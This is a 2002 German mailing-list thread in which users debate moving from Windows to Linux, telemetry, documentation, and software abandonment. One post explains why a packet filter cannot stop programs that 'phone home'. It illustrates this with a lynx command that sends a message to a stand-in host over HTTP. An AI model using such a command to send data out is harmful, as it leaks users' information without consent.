Spreche ich mit ODBC ein Programm an, kann ich mit allen kommunizieren, bei Linux ist das Glückssache.
Huh? Spreche ich mit Unix Domain Sockets ein Programm an, kann ich mit allen kommunizieren, bei Windows ist das Glückssache.
Ich in nicht zu Linux gewechselt und werde es auch nicht (da bin ich ganz erlich). Hauptsächlich arbeite ich mit Linux weil es fun macht. Durch das lesen lernt man sehr viele Dinge, generelle dinge, über hardware, über Netze, über Programmieren, usw.
Wie, durch das Lesen? Ich denke, Dokumentation ist nicht zu bekommen? Thorsten -- Every person shall have the right freely to inform himself without hindrance from generally accessible sources. - German Grundgesetz, Article 5, Sec. 1
Am Sonntag, 1. Dezember 2002 18:58 schrieb Thorsten Haude:
Moin,
* Juergen
[02-12-01 17:30]:
Die Philosophie von Linux gefaellt mir hingegen sehr gut. Hier fuehle ich mich als muendiger Anwender und habe - wegen des Open-Source-Charakters - ein weit groesseres Vertrauen darein, dass auf meinem Rechner keine Daten gegen meinen Willen gesammelt und ueber das Internet ohne meine Zustimmung verschickt werden.
Stimmt nicht
Stimmt doch. Wo stehen wir jetzt?
Ich Stimme da mal Thorsten zu!
Und da ich mit Linux alle Aufgaben erledigen kann, die ich mit Windows erledigen konnte und die ich erledigen koennen will, bin ich also mit Linux gluecklich und lasse Windows links liegen. ;-)
Tja, bloss wie?
Wie man es links liegen läßt? In meinem Fall mit cfdisk.
Win benutze ich z.b. um die Webseite der Lind auch mal im IE anzugucken, (Ich habe es immernoch nicht geschafft den IE6 zur Korrekten anzeige von Transparenten PNG Grafiken zu bewegen, Opera, Mozilla, Netscape können das) ausserdem hatte ich auf ner neuen Hd noch kein System und habe direkt die SuSE "draufgelötet"
Es kommt noch hinzu, dass ich einfach Linux für die Zukunft wesentlich mehr Chancen einräume (trotz oder vielleicht auch gerade wegen Fritz, Palladium und co.).
Das hallte ich ernsthaft für ein Gerücht. Ich sehe das hauptprobem darin, das es open-Source ist (was ja nicht nachteilig ist). Das heisst, die Open Source Programmieren hören einfach auf, entwickeln die Programme nicht fertig oder bringen sie nicht auf den neusten stand. Wechsel finden auch ständig statt
Auch diese Aussage widerspricht deutlich jeder Erfahrung. Wie wär's auch hier mit ein paar Belegen? Welche wichtigen Projekte werden nicht weiterentwickelt? Wo entstehen Nachteile durch Wechsel der Entwickler?
(und viele Köche Verderben den Brei).
Hmm wir wollen hier jetzt doch nicht zweierlei sachen vergleichen. Natürlich Verderben viele Köche den Brei (Creme Pattiesserie?), aber Programmieren und Administrieren von Computern hat mit Kochen überhaupt nix gemeinsam. Denn wenn dem so Währe dann dürften nur die Programme gut sein an denen nur ein einzelner Programmiert, und das ist selbst bei M$ nicht so!
Das genaue Gegenteil ist der Fall, wie man an den vielen erfolgreichen Projekten sehen kann.
Als Beispiel will ich mal ein Beispiel angeben: Programmieren, Windows 2000 + Linux, von den Programmierern ist wenig oder nur teilweise Dokumentiert. Ich habe zwar die Sorce, aber eineige Dinge sind so verwirend geschrieben das keiner mehr durchblickt. Versucht man den Entwickler zu erreichen, kommt keine Antwort zurück. TJA, open-Source, jeder macht was er will, keiner muss es Dokumentieren.
Alles vage Behauptungen. Tatsächlich lassen sich in den meisten Fällen Details sehr einfach ermitteln, entweder aus den Sourcen, aus der Dokumentation, von Listen wie dieser oder direkt vom Entwickler. Auch hier erwarte ich Belege.
Tatsächlich ist eine Entwicklung so vieler unterschiedlicher Anwendungen ohne Dokumentation undenkbar.
Jop Thorsten da hast Du recht, und eine kleinigkeit Vergessen: viele Programmierer welche OpenSource sachen basteln die sind mit begeisterung am Thema (die machen das nicht nur wegen des Geldes) und irgendwo in irgend einer Liste oder Gruppe wird doch auf dieser Welt jemand zu einem bestimmten Programm zu finden sein
Unter Windows ist alles irgendwie festgehalten, zum Nachlesen.
Bei Windows gibt es auch das 'API of the Week'. Ich habe mich letzte Woche mit einem Kollegen über MFC unterhalten, er war nicht begeistert.
Unter Win festgehalten? Sprechen wir mal für Anwender: Handbücher? HOWTOs? Manpages? Supportdatenbank?
Spreche ich mit ODBC ein Programm an, kann ich mit allen kommunizieren, bei Linux ist das Glückssache.
ODBC? hmm auch hier habe ich schlechte erfahrungen das Programm CAMIT-EL (der jetzige Hersteller heist Aventis) wird nicht mehr weiterentwickelt weil der Management etage die ungewissheit welche die Windowsplattform bietet, einfach zuviel Geld kostet Diese sogenannte Diagnosesoftware (oder Protokollsoftware) für Diabetiker bekommst Du maximal unter Win95 installiert und darüber geht nixmehr. Gut das Problem ist evtl nicht bei Win/M$ zu suchen aber ich muss mir jetzt Trotzdem selber etwas basteln um mein BZ/BE/Hypos/IE/etc zu Protokollieren btw als ich mal wieder die Dame am Telefon bei Aventis gnervt habe bekam ich zur Antwort dass weitere Programme in dieser Richtung nicht geplant sind! Weder für Linux noch für Win Das ist jetzt keine Glücksache sondern ausgesprochenes Pech für ca "mio Diabetiker wo gene so ein Progrämmchen hätten
Huh? Spreche ich mit Unix Domain Sockets ein Programm an, kann ich mit allen kommunizieren, bei Windows ist das Glückssache.
Ich in nicht zu Linux gewechselt und werde es auch nicht (da bin ich ganz erlich). Hauptsächlich arbeite ich mit Linux weil es fun macht. Durch das lesen lernt man sehr viele Dinge, generelle dinge, über hardware, über Netze, über Programmieren, usw.
Wie, durch das Lesen? Ich denke, Dokumentation ist nicht zu bekommen?
Hmmm MFG Thilo -- http://www.gasthof-linde.de http://www.chef-de-cuisine.de
Moin, Juergen:
Programmieren hören einfach auf, entwickeln die Programme nicht fertig oder bringen sie nicht auf den neusten stand. Wechsel finden auch ständig statt
Thorsten Haude:
Auch diese Aussage widerspricht deutlich jeder Erfahrung. Wie wär's auch hier mit ein paar Belegen? Welche wichtigen Projekte werden nicht weiterentwickelt? Wo entstehen Nachteile durch Wechsel der Entwickler?
Leider bin ich genau darüber gerade gestolpert und ärgere mich ganz mächtig. Ich spreche von Mozilla für's klassische MacOS 9. Im Gegensatz zur Linux- oder Windowsversion ist die Unterstützung saumäßig. Seit über einem Jahr geht die HTTP-Uploadfunktion nicht. Ebenfalls seit über einem Jahr gibt es einen Bug im Tastaturhandling, der dafür sorgt, daß Tastendrücke an die _falsche_ Applikation geht. Was ich mir damit schon an Daten gelöscht habe geht auf keine Kuhhaut. Ich schreibe fleissig Bugreports, nichts geschieht, und nach etlicher Zeit werden Infos nochmal abgefragt, die ich schon dreimal geliefert habe. Und dabei ist das Mozilla-Projekt ja nun alles andere als tot. Die Entwicklerfreaks sind einfach abgedampft zu MacOS X, der kommerzielle Anwender kann mit dem Geraffel aber nix anfangen und steht mit seinem OS 9 doof da. Ich habe das Programm weiträumig in der Firma eingeführt (Da Netscape und IE unter MacOS9 extrem instabil laufen) und darf jetzt auf ganzer Front zurückrudern. Und habe mich zum Idioten gemacht. Ja, sowas kann passieren. Ehrlicherweise sollte man aber dazusagen, daß diese Problematik mit Löhnware und ganz besonders unter Windows eher schlimmer ist, weil es statt Bugfixes immer bloß neue Versionen gibt (Mit anderen/neuen Bugs). Gruß, Ratti -- http://www.gesindel.de - Fontlinge - Die Fontverwaltung fuer Linux Fontmanagement for Linux
Moin,
* Joerg Rossdeutscher
Programmieren hören einfach auf, entwickeln die Programme nicht fertig oder bringen sie nicht auf den neusten stand. Wechsel finden auch ständig statt Auch diese Aussage widerspricht deutlich jeder Erfahrung. Wie wär's auch hier mit ein paar Belegen? Welche wichtigen Projekte werden nicht weiterentwickelt? Wo entstehen Nachteile durch Wechsel der Entwickler?
Leider bin ich genau darüber gerade gestolpert und ärgere mich ganz mächtig. Ich spreche von Mozilla für's klassische MacOS 9.
Nichts für ungut, aber ich halte das nicht für ein wichtiges Projekt. Allerdings kannst Du mich gerne eines besseren belehren, indem Du ein paar Firmen suchst, die Geld für einen Entwickler ausgeben, der die Entwicklung dann vorantreibt. (Nein, ich suche keinen Job.)
Ich schreibe fleissig Bugreports, nichts geschieht, und nach etlicher Zeit werden Infos nochmal abgefragt, die ich schon dreimal geliefert habe. Und dabei ist das Mozilla-Projekt ja nun alles andere als tot.
Hast Du den ganzen Kram mal auf einer Webseite dokumentiert? Dann würden die Leute wenigstens sehen, wo es hakt. (Ich meine jetzt die Fehler im Prozess der Bugreports, nicht die Fehler der Software.)
Ich habe das Programm weiträumig in der Firma eingeführt (Da Netscape und IE unter MacOS9 extrem instabil laufen) und darf jetzt auf ganzer Front zurückrudern. Und habe mich zum Idioten gemacht.
Ja, sowas kann passieren.
Sowas kann passieren, wenn man Software einführt, die nichts taugt.
Ehrlicherweise sollte man aber dazusagen, daß diese Problematik mit Löhnware und ganz besonders unter Windows eher schlimmer ist, weil es statt Bugfixes immer bloß neue Versionen gibt (Mit anderen/neuen Bugs).
Allerdings, zumal man da noch weniger Möglichkeiten hat, um einzugreifen. Abandonware ist wohl besonders bei alten Spielen ein Problem. Thorsten -- Every person shall have the right freely to inform himself without hindrance from generally accessible sources. - German Grundgesetz, Article 5, Sec. 1
Am Sonntag, 1. Dezember 2002 17:30 schrieb Juergen:
Das hallte ich ernsthaft für ein Gerücht. Ich sehe das hauptprobem darin, das es open-Source ist (was ja nicht nachteilig ist). Das heisst, die Open Source Programmieren hören einfach auf, entwickeln die Programme nicht fertig oder bringen sie nicht auf den neusten stand. Wechsel finden
Da kann man dann aber Problemlos selber weiterentwickeln, oder jemanden Beauftragen, dies zu tun. Ein paar Beispiele kommerzieller Programm, die die Firma im Einsatz hat, für die ich arbeite (kommerzielle, proprietäre), bei denen es analog läuft: 1. EDIFAC-Konverter: Angefangen hats mit nem DOS-Programm, wurde dann nicht weiterentwickelt, sind wir auf ein anderes Produkt umgesteigen unter Win 3.11. Lief ne weile, bis die Weiterentwicklung eingestellt wurde, trotzt laufendem Wartungsvertrag wurden keine Bugs mehr gefixed, wir haben damit gelebt, bis zum Jahr2000. Dann war ein neues Produkt notwendig, diesmal unter NT. Fein, jetzt stehen wir wieder vor dem Problem, Weiterentwicklung eingestellt (zumindestens gibts noch bugfixes). Das Problem ist, die EDIFACT Syntax-Version 4 wird nicht unterstützt. Noch konnten wir unsere Partner alle davon abhalten darauf umzustellen, aber früher oder später wird ein neuer Konverter fällig ... wieder mal. 2. Ein Kassensystem und zwei Tankstellensysteme mussten zum Jahr2000 ausgetauscht werden, weil nicht weiterentwickelt. 3. Ein Warenwirtschaftssystem im Technikbereich wird nur noch gewartet, weil das Gehalt des Entwicklers von unserer Firma übernommen wird. 4. Dann gibts noch zwei/drei Systeme, die ersetzt werden mussten, weil der Hersteller pleite ging. Das sind jetzt nur die Sachen, mit denen ich persönlich in Kontakt komme. Propritäre Software für viel Geld ist mit Sicherheit kein Garant dafür, dass Software weiterentwickelt wird. Auch eine große Firma im Rücken, mit viel, viel Geld, wie MS ist kein Garant. Alle User von WinNT auf Alpha oder PPC werden Dir das bestätigen. -- Machs gut | http://www.iivs.de/schwinde/buerger/tremmel/ Manfred | http://www.knightsoft-net.de
Moin,
* Manfred Tremmel
Ein paar Beispiele kommerzieller Programm, die die Firma im Einsatz hat, für die ich arbeite (kommerzielle, proprietäre), bei denen es analog läuft:
(...)
3. Ein Warenwirtschaftssystem im Technikbereich wird nur noch gewartet, weil das Gehalt des Entwicklers von unserer Firma übernommen wird.
Das finde ich ok. Solange es Euch das Geld wert ist, ist es Euch das halt wert. Wenn es nicht das Gehalt wäre, sondern Lizenzgebühren, wäre es garnicht aufgefallen.
4. Dann gibts noch zwei/drei Systeme, die ersetzt werden mussten, weil der Hersteller pleite ging.
Auch hier eine Einschränkung: Wenn es Freie Software gewesen wäre, hätte es von jemand anderem weiterentwickelt werden können. Thorsten -- Every person shall have the right freely to inform himself without hindrance from generally accessible sources. - German Grundgesetz, Article 5, Sec. 1
Am Sonntag, 1. Dezember 2002 21:46 schrieb Thorsten Haude:
* Manfred Tremmel
[02-12-01 21:06]: 3. Ein Warenwirtschaftssystem im Technikbereich wird nur noch gewartet, weil das Gehalt des Entwicklers von unserer Firma übernommen wird.
Das finde ich ok. Solange es Euch das Geld wert ist, ist es Euch das halt wert. Wenn es nicht das Gehalt wäre, sondern Lizenzgebühren, wäre es garnicht aufgefallen.
Findest Du? Dafür, dass er zwei/drei Wochen im Jahr daran rumbastelt und den Rest seiner Arbeitszeit in andere Projekte investiert? Änderungen müssen erst angemeldet werden, und dauern oft Monate, weil gerade was anderes wichtiger ist.
4. Dann gibts noch zwei/drei Systeme, die ersetzt werden mussten, weil der Hersteller pleite ging.
Auch hier eine Einschränkung: Wenn es Freie Software gewesen wäre, hätte es von jemand anderem weiterentwickelt werden können.
Genau, das meinte ich. Freie Software ist kein Nachteil, sondern im Zweifelsfall ein Vorteil für die Investition. Anzugeben - wie ursprünglich erwähnt - es sei ein Nachteil Freier Software, dass diese einfach eingestellt wird, halte ich für ein schlechtes Argument, da es im kommerziellen Umfeld genauso geschieht. Das ist alles, was ich ausführen wollte. -- Machs gut | http://www.iivs.de/schwinde/buerger/tremmel/ Manfred | http://www.knightsoft-net.de
Moin,
* Manfred Tremmel
Am Sonntag, 1. Dezember 2002 21:46 schrieb Thorsten Haude:
* Manfred Tremmel
[02-12-01 21:06]: 3. Ein Warenwirtschaftssystem im Technikbereich wird nur noch gewartet, weil das Gehalt des Entwicklers von unserer Firma übernommen wird.
Das finde ich ok. Solange es Euch das Geld wert ist, ist es Euch das halt wert. Wenn es nicht das Gehalt wäre, sondern Lizenzgebühren, wäre es garnicht aufgefallen.
Findest Du? Dafür, dass er zwei/drei Wochen im Jahr daran rumbastelt und den Rest seiner Arbeitszeit in andere Projekte investiert? Änderungen müssen erst angemeldet werden, und dauern oft Monate, weil gerade was anderes wichtiger ist.
Na, das klingt schon anders. Allerdings ist es immer noch eine Sache des Preises, den Ihr bereit seit zu zahlen. Mit Freier Software wäre das jedenfalls nicht passiert.
4. Dann gibts noch zwei/drei Systeme, die ersetzt werden mussten, weil der Hersteller pleite ging.
Auch hier eine Einschränkung: Wenn es Freie Software gewesen wäre, hätte es von jemand anderem weiterentwickelt werden können.
Genau, das meinte ich. Freie Software ist kein Nachteil, sondern im Zweifelsfall ein Vorteil für die Investition.
Ich finde es trotzdem wichtig, auf den Unterschied hinzuweisen, denn auch ein Anbieter von Freier Software kann pleite gehen.
Anzugeben - wie ursprünglich erwähnt - es sei ein Nachteil Freier Software, dass diese einfach eingestellt wird, halte ich für ein schlechtes Argument, da es im kommerziellen Umfeld genauso geschieht. Das ist alles, was ich ausführen wollte.
Schon klar, ich stimme auch zu. Thorsten -- Fear leads to anger. Anger leads to hate. Hate leads to using Windows for mission-critical applications.
Am Son, 2002-12-01 um 22.47 schrieb Thorsten Haude:
Ich finde es trotzdem wichtig, auf den Unterschied hinzuweisen, denn auch ein Anbieter von Freier Software kann pleite gehen. Richtig. Der Unterschied ist, daß du bei Freier Software dir halt jemand anderen suchst der die Software wartet. Apropos ist eine Reihe von Rechten zu fordern, um Software investitionssicher zu machen:
-) Sourcecode. Ohne Sourcecode läuft mal gar nix. Software ohne Sourcecode ist defakto wertlos, da man jederzeit alleine dastehen kann, ohne Wartung, ohne neue Version und mit einem Showstopper-Bug. [Und der kann jederzeit auftreten. Sei es beim 100000'ten Kunden, oder weil man gerade die Hardware gegen neue ausgetauscht hat.] -) Das Recht den Sourcecode zu modifizieren und die modifizierte Version zu verwenden. Sourcecode ohne das Recht ihn zu verwenden führt unter Umständen dazu das man das Problem kennt, aber die Rechtsabteilung erlaubt einem nicht das Problem zu beheben. -) Das Recht den Sourcecode weiterzugeben. Ohne das Recht den Sourcecode weiterzugeben, steht man bei der Wartung vor dem Problem, daß man die entsprechenden Kapazitäten intern zur Verfügung zu stellen. usw. Im Prinzip kommt man auf die Anforderungen der Open-Source Bewegung. Da die Risken bei Verwendung "nichtfreier" Software zahlreich und schwerwiegend sind, gehört die Verwendung von "nichtfreier" Software begründet, nicht die Verwendung von freier Software. Andreas
Moin,
bitte schick mir jede Mail nur einmal.
* Andreas Kostyrka
Am Son, 2002-12-01 um 22.47 schrieb Thorsten Haude:
Ich finde es trotzdem wichtig, auf den Unterschied hinzuweisen, denn auch ein Anbieter von Freier Software kann pleite gehen. Richtig. Der Unterschied ist, daß du bei Freier Software dir halt jemand anderen suchst der die Software wartet.
Äh ja, das ist schon klar. Freie Software eben. Open Source. Darum geht's hier. Thorsten -- Is there a suspect in your family? - Contact the Ministry of Information.
Hallo
D.h. wenn ich mir ein Betriebssystem, Software und Hardware installiere und konfiguriere, bin ich sehr neugierig und spiele auch oft tagelang herum - unendlich viele Neuinstallationen auf verschiedenen Wegen und mit verschiedenen Einstellungen eingeschlossen. ;-) Es kann viel Fun bereiten, aber auch viel Frust.
Was hat mich zum Umstieg bewegt?
An Windows und der dahinterstehenden Microsoft-Philosophie stoeren mich eine Menge Dinge, die ich nicht akzeptieren will:
- Ich werde bei der Installation total bevormundet. Was es auch auch stabil macht - Ab Windows XP muss ich mich zwangsregistrieren lassen. Das ist sch*e, drum bleibe ich bei 2000 - Dauernd versuchen Programme, Daten ueber mich nach Microsoft.com, Real.com und sonst wohin zu schicken, ohne dass ich weiss, wann was warum wohin verschickt wird und ueberhaupt und so. Gut, ich habe zwar ZoneAlarm installiert, aber man kann ja trotzdem nie wissen. Wenn ich beispielsweise mit dem Internet Explorer surfe, muss ich ihn ja ins Netz lassen. Da schuetzt mich u.U. dann auch die Firewall nicht mehr. Soweit ich mich erinnern kann, laufen unter Unix auch einige HomeTelefon-Progs. Ich weis nur nicht mehr welche das sind. Also hat doch nicht Nur Microsoft diese Philosophie, oder ???
Usw.
Die Philosophie von Linux gefaellt mir hingegen sehr gut. Hier fuehle ich mich als muendiger Anwender und habe - wegen des Open-Source-Charakters - ein weit groesseres Vertrauen darein, dass auf meinem Rechner keine Daten gegen meinen Willen gesammelt und ueber
das Internet ohne meine Zustimmung verschickt werden. Stimmt nicht Und da ich mit Linux alle Aufgaben erledigen kann, die ich mit Windows erledigen konnte und die ich erledigen koennen will, bin ich also mit Linux gluecklich und lasse Windows links liegen. ;-) Tja, bloss wie?
Dass sich hier und da der KDE-Crash-Manager meldet oder es Probleme bei Installationen oder diesem und jenem gibt, stoert mich dabei nicht. Es faellt einem als Umsteiger von Windows zwar auf, wenn bei Linux etwas nicht funktioniert, aber Windows ist da keinesfalls und ueberhaupt nicht besser. Bei Windows hat man sich nur daran gewoehnt. ;-) Wenn du meinst. Ich sage immer: der PC ist genauso dumm wie der der davor sitzt Und das stimmt. Wenn ich dir sagen das mein Windows 2000 stabiler rennt Als mein KDE. Selbst den CrashManager will ich nicht sehen. Und ich frage mich Warum es Leute schaffen, das Windows läuft, läuft und läuft. Nur von den
Linuxern höre ich als argument "Windows schmiert ständig ab". Die Zeiten sind mit NT, 2000 und XP längst vorbei.
Die Gründe für den Wechsel sind ähnlich wie bei dir. Es kommt noch hinzu, dass ich einfach Linux für die Zukunft wesentlich mehr Chancen einräume (trotz oder vielleicht auch gerade wegen Fritz, Palladium und co.). Das hallte ich ernsthaft für ein Gerücht. Ich sehe das hauptprobem darin, das es open-Source ist (was ja nicht nachteilig ist). Das heisst, die Open Source Programmieren hören einfach auf, entwickeln die Programme nicht fertig oder bringen sie nicht auf den neusten stand. Wechsel finden auch ständig statt (und viele Köche Verderben den Brei). Als Beispiel will ich mal ein Beispiel angeben: Programmieren, Windows 2000 + Linux, von den Programmierern ist wenig oder nur teilweise Dokumentiert. Ich habe zwar die Sorce, aber eineige Dinge sind so verwirend geschrieben das keiner mehr durchblickt. Versucht man den Entwickler zu erreichen, kommt keine Antwort zurück. TJA, open-Source, jeder macht was er will, keiner muss es Dokumentieren. Unter Windows ist alles irgendwie festgehalten, zum Nachlesen. Spreche ich mit ODBC ein Programm an, kann ich mit allen kommunizieren, bei Linux ist das Glückssache. Und die Chancen steigen mit jedem _ernsthaften_ Linux-User ein wenig mehr. Also will ich auch dazu beitragen und letztendlich auch andere von Linux überzeugen. Dafür möchte man aber auch selbst dahinter stehen, oder? Und das tue ich.
Ich in nicht zu Linux gewechselt und werde es auch nicht (da bin ich ganz erlich). Hauptsächlich arbeite ich mit Linux weil es fun macht. Durch das lesen lernt man sehr viele Dinge, generelle dinge, über hardware, über Netze, über Programmieren, usw. Aber letztendlich bleibe ich bei Windows, und Linux ist nur eine Spielwiese mehr oder weniger. Mit freundlichen Grüßen Juergen L.
Hallo Jürgen, Ist deine Mail nicht Beweis genug für einige unzulänglichkeiten von Windows? OjE 6.0 gehört ja wohl dazu, oder? (Ich hab übrigens das, was Linux in der Formatierung der Mail selbständig beim Antworten korrigiert hat, wieder weitestgehend rückgängig gemacht ;-) Am Sonntag, 1. Dezember 2002 17:30 schrieb Juergen: * Wo sind hier eigentlich die Vorredner? * * Das sieht ja aus, als ob alles von mir war. *
Hallo
D.h. wenn ich mir ein Betriebssystem, Software und Hardware installiere und konfiguriere, bin ich sehr neugierig und spiele auch oft tagelang herum - unendlich viele Neuinstallationen auf verschiedenen Wegen und mit verschiedenen Einstellungen eingeschlossen. ;-) Es kann viel Fun bereiten, aber auch viel Frust.
Was hat mich zum Umstieg bewegt?
An Windows und der dahinterstehenden Microsoft-Philosophie stoeren mich eine Menge Dinge, die ich nicht akzeptieren will:
- Ich werde bei der Installation total bevormundet. Was es auch auch stabil macht
- Ab Windows XP muss ich mich zwangsregistrieren lassen. Das ist sch*e, drum bleibe ich bei 2000
- Dauernd versuchen Programme, Daten ueber mich nach Microsoft.com, Real.com und sonst wohin zu schicken, ohne dass ich weiss, wann was warum wohin verschickt wird und ueberhaupt und so. Gut, ich habe zwar ZoneAlarm installiert, aber man kann ja trotzdem nie wissen. Wenn ich beispielsweise mit dem Internet Explorer surfe, muss ich ihn ja ins Netz lassen. Da schuetzt mich u.U. dann auch die Firewall nicht mehr. Soweit ich mich erinnern kann, laufen unter Unix auch einige HomeTelefon-Progs. Ich weis nur nicht mehr welche das sind. Also hat doch nicht Nur Microsoft diese Philosophie, oder ???
Ja, welche sind das denn? Zumindest keine Programme, die zu Linux gehören wie z.B. der MMP zu Windows.
Usw.
Die Philosophie von Linux gefaellt mir hingegen sehr gut. Hier fuehle ich mich als muendiger Anwender und habe - wegen des Open-Source-Charakters - ein weit groesseres Vertrauen darein, dass auf meinem Rechner keine Daten gegen meinen Willen gesammelt und ueber
das Internet ohne meine Zustimmung verschickt werden.
Stimmt nicht
Doch, oder du hast stillschweigend deine Zustimmung gegeben (Unwissenheit schützt vor Schaden nicht).
Und da ich mit Linux alle Aufgaben erledigen kann, die ich mit Windows erledigen konnte und die ich erledigen koennen will, bin ich also mit Linux gluecklich und lasse Windows links liegen. ;-)
Tja, bloss wie?
Schubfach auf, CD rein, Schubfach zu (wenn das dann auch noch links ist, passte es ;-)
Dass sich hier und da der KDE-Crash-Manager meldet oder es Probleme bei Installationen oder diesem und jenem gibt, stoert mich dabei nicht. Es faellt einem als Umsteiger von Windows zwar auf, wenn bei Linux etwas nicht funktioniert, aber Windows ist da keinesfalls und ueberhaupt nicht besser. Bei Windows hat man sich nur daran gewoehnt. ;-)
Wenn du meinst. Ich sage immer: der PC ist genauso dumm wie der der davor sitzt
ACK!
Und das stimmt. Wenn ich dir sagen das mein Windows 2000 stabiler rennt Als mein KDE. Selbst den CrashManager will ich nicht sehen. Und ich frage mich Warum es Leute schaffen, das Windows läuft, läuft und läuft. Nur von den
Linuxern höre ich als argument "Windows schmiert ständig ab". Die Zeiten sind mit NT, 2000 und XP längst vorbei.
Warum schaffen es Leute, das Linux 24x7 läuft, und das über Jahre, während selbst Windows2000 ohne weitere laufende Anwendung nach ein paar Wochen kaum noch Arbeitsspeicher frei hat, so dass man nciht mal mehr Word starten kann (probier es ruhig mal aus).
Die Gründe für den Wechsel sind ähnlich wie bei dir. Es kommt noch hinzu, dass ich einfach Linux für die Zukunft wesentlich mehr Chancen einräume (trotz oder vielleicht auch gerade wegen Fritz,
Palladium
und co.).
Das hallte ich ernsthaft für ein Gerücht. Ich sehe das hauptprobem darin, das es open-Source ist (was ja nicht nachteilig ist). Das heisst, die Open Source Programmieren hören einfach auf, entwickeln die Programme nicht fertig oder bringen sie nicht auf den neusten stand. Wechsel finden auch ständig statt (und viele Köche Verderben den Brei). Als Beispiel will ich mal ein Beispiel angeben: Programmieren, Windows 2000 + Linux, von den Programmierern ist wenig oder nur teilweise Dokumentiert. Ich habe zwar die Sorce, aber eineige Dinge sind so verwirend geschrieben das keiner mehr durchblickt. Versucht man den Entwickler zu erreichen, kommt keine Antwort zurück. TJA, open-Source, jeder macht was er will, keiner muss es Dokumentieren. Unter Windows ist alles irgendwie festgehalten, zum Nachlesen. Spreche ich mit ODBC ein Programm an, kann ich mit allen kommunizieren, bei Linux ist das Glückssache.
Du solltest dich mal mit Programmierung befassen, damit du weißt wovon du redest. Wenn ein (fremdes) Programm funxt, dann interessiert es mich meist herzlich wenig, warum es funxt. Trotzdem kann ich es in eigenen Programmen weiter verwenden, so die Schnittstellen sauber definiert und dokumentiert sind. Eines der Hauptprobleme bei M$ übrigens. Bei OpenSource habe ich oben drein die Möglichkeit, in die Programmierung reinzuschauen und sie ggf. ummodeln, so ich Ahnung davon habe. Aber das ist zusätzlich und optional (und gibt es bei M$ überhaupt nicht).
Und die Chancen steigen mit jedem _ernsthaften_ Linux-User ein wenig mehr. Also will ich auch dazu beitragen und letztendlich auch andere
von Linux überzeugen. Dafür möchte man aber auch selbst dahinter stehen,
oder? Und das tue ich.
Ich in nicht zu Linux gewechselt und werde es auch nicht (da bin ich ganz erlich). Hauptsächlich arbeite ich mit Linux weil es fun macht. Durch das lesen lernt man sehr viele Dinge, generelle dinge, über hardware, über Netze, über Programmieren, usw. Aber letztendlich bleibe ich bei Windows, und Linux ist nur eine Spielwiese mehr oder weniger.
Das will dir auch keiner nehmen, es ist letztendlich deine Entscheidung. Nur noch eine Frage am Rande: Warum lernt man bei Windows nicht so viele generelle Dinge über Hardware, über Netze, über Programmieren usw.? -- Gruß MaxX
Hi Jürgen, On Sunday 01 December 2002 17:30, Juergen wrote:
Soweit ich mich erinnern kann, laufen unter Unix auch einige HomeTelefon-Progs. Ich weis nur nicht mehr welche das sind. Also hat doch nicht Nur Microsoft diese Philosophie, oder ???
Nein das nicht. Nimm einen vernünftigen Firewall only Linux Router der nix anderes macht - am besten von kopiergeschützer Floppy starten (ich mache das seit fast zwei Jahren) öffnest keine Ports von draußen und Du hast weitestgehend Deine Ruhe drinnen. Wenn Du dann auch noch eine sauber installierte Linux Distri als Workstation betreibst und keinen Blödsinn machst (z.B. Windows Progs von MS drüber laufen lässt) ist alles gut. Die Frage war aber eigentlich die, warum der Ur-Autor nicht gleich bei Win bleibt. Der Nachsprecher hat das wohl beantwortet. Wenn DIR Windows besser gefällt, dann bleib halt dabei. Das hier ist eine Linux-Gruppe, wo sich viele Umsteiger herumtreiben und das ist auch in Ordnung. Es gibt zwar immer mal wieder Flames - auch wenn mir das persönlich nicht so gefällt (weil es anders auch ginge) - aber sonst ist es eine Quell des Wissens für alle. Jeder weiß halt ein bisserl und trägt dazu bei, dass einem anderen geholfen wird. Also nochmal: Es wird Dich keiner zwingen (wie es M§$ selbst gerne hätte) nicht Linux zu nehmen oder bei Windows zu bleiben. Robert
Moin, Juergen:
Soweit ich mich erinnern kann, laufen unter Unix auch einige HomeTelefon-Progs. Ich weis nur nicht mehr welche das sind. Also hat doch nicht Nur Microsoft diese Philosophie, oder ???
Robert Schott:
Nein das nicht. Nimm einen vernünftigen Firewall only Linux Router der nix anderes macht - am besten von kopiergeschützer Floppy starten (ich mache das seit fast zwei Jahren) öffnest keine Ports von draußen und Du hast weitestgehend Deine Ruhe drinnen.
Mal abgesehen davon, daß mir noch kein Linuxprogramm untergekommen ist, das nach Hause telefoniert: Das mit der "Firewall" sehe ich nicht so. Dort befindet sich i.d.R. ein einfacher Paketfilter drauf wie ipchains oder iptables, und damit kannst du ganz und gar nicht verhindern, daß eine Applikation über Port 80 einen ganz normalen Zugriff macht. Naja, du kannst das schoin verhindern, aber dann ist auch mit surfen Schluß, und dazu hast den den Router ja wohl. Es ist ein Irrtum zu glauben, E.T.-Programme würden mit Geheimprotokollen auf gräßlichen Ports esoterische Nachrichten austauschen. In der Regel dürfte das vom Prinzip eher so aussehen: lynx -dump "http://www.stasi.foo?msg=dies%20ist%geheim" > /dev/null Nix Router und Susefirewall. :-) Gruß, Ratti -- http://www.gesindel.de - Fontlinge - Die Fontverwaltung fuer Linux Fontmanagement for Linux
Hallo Henning, Am Sonntag, 1. Dezember 2002 13:39 schrieb Henning Hucke:
Ich stelle mir in letzter Zeit häufiger die Frage, warum die Leute unter Linux eigentlich immer nur das suchen, was sie schon unter Windows hatten. Warum wechselt ihr dann eigentlich zu Linux?
Auch wenn es Dir vielleicht ungewohnt vorkommt: Ein Computer ist nichts anders als ein Arbeitsgerät und das Betriebssystem insofern lediglich ein Teil davon. Und wenn ich das Gerät zum Erstellen von Grußkarten brauche, dann soll es das einfach können - das Betriebssystem ist mir in dem Moment völlig egal. Wenn ich mir eine Heckenschere kaufe um damit Hecken zu schneiden, dann soll sie das einfach gut und ohne Pannen machen. Wie der Hersteller des Gerätes oder von Teilen davon heisst und ob es da irgendwelche Ideologien dahinter gibt, das interssiert mich nur am Rande. Wenn ich aber eine Heckenschere habe, die sehr anfällig für Störungen aller Art ist und mir viel Ärger macht, und höre von Bekannten, daß einen anderen Hersteller gibt, dessen Geräte diese Pannen nicht haben, dann wird meine nächste Heckenschere so eine sein. Aber ich mache mit ihr das gleiche wie mit der alten: Hecken schneiden. Bevor ich vor Lachen am Computer zusammenbreche, schnell absenden Heimo -- Heimo Ponnath Webdesign, Rotenhäuserstr. 51, 21109 Hamburg Tel: 040-753 47 95,Fax: 040-752 68 03, http://www.heimo.de/
* Heimo Ponnath schrieb am 01.Dez.2002:
